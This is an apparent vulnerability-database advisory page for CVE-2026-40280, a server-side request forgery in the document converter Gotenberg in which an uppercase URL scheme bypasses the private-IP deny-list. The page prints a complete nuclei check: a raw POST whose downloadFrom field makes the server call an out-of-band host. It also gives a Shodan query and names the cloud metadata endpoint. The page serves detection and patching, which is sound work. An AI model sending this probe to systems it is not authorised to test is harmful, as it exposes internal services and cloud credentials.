HexBrain

Browse / CVEs / CVE-2026-40280

CVE-2026-40280· thecodingmachine / gotenberg· CWE-918

Gotenberg <= 8.30.1 - Server Side Request Forgery

criticalseverity
9.3CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.

Impact

Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.

Fix

This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.

How to confirm it

Send: POST /forms/chromium/convert/html
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "Gotenberg"

Run it with nuclei: nuclei -id CVE-2026-40280 -u <target>

The full check
id: CVE-2026-40280

info:
  name: Gotenberg <= 8.30.1 - Server Side Request Forgery
  author: str4k3r
  severity: critical
  description: |
    Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
  impact: |
    Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
  remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40280
    - https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
  classification:
    cve-id: CVE-2026-40280
    epss-score: 0.0195
    epss-percentile: 0.80395
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
  metadata:
    verified: true
    max-request: 1
    vendor: thecodingmachine
    product: gotenberg
    shodan-query: http.html:"Gotenberg"
  tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast

http:
  - raw:
      - |
        POST /forms/chromium/convert/html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----gotenbergProbe

        ------gotenbergProbe
        Content-Disposition: form-data; name="files"; filename="index.html"
        Content-Type: text/html

        <html><body>ssrf-probe</body></html>
        ------gotenbergProbe
        Content-Disposition: form-data; name="downloadFrom"

        [{"url":"HTTP://{{interactsh-url}}"}]
        ------gotenbergProbe--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "Gotenberg"

References

Use this check only on systems you are authorised to test. Where the data comes from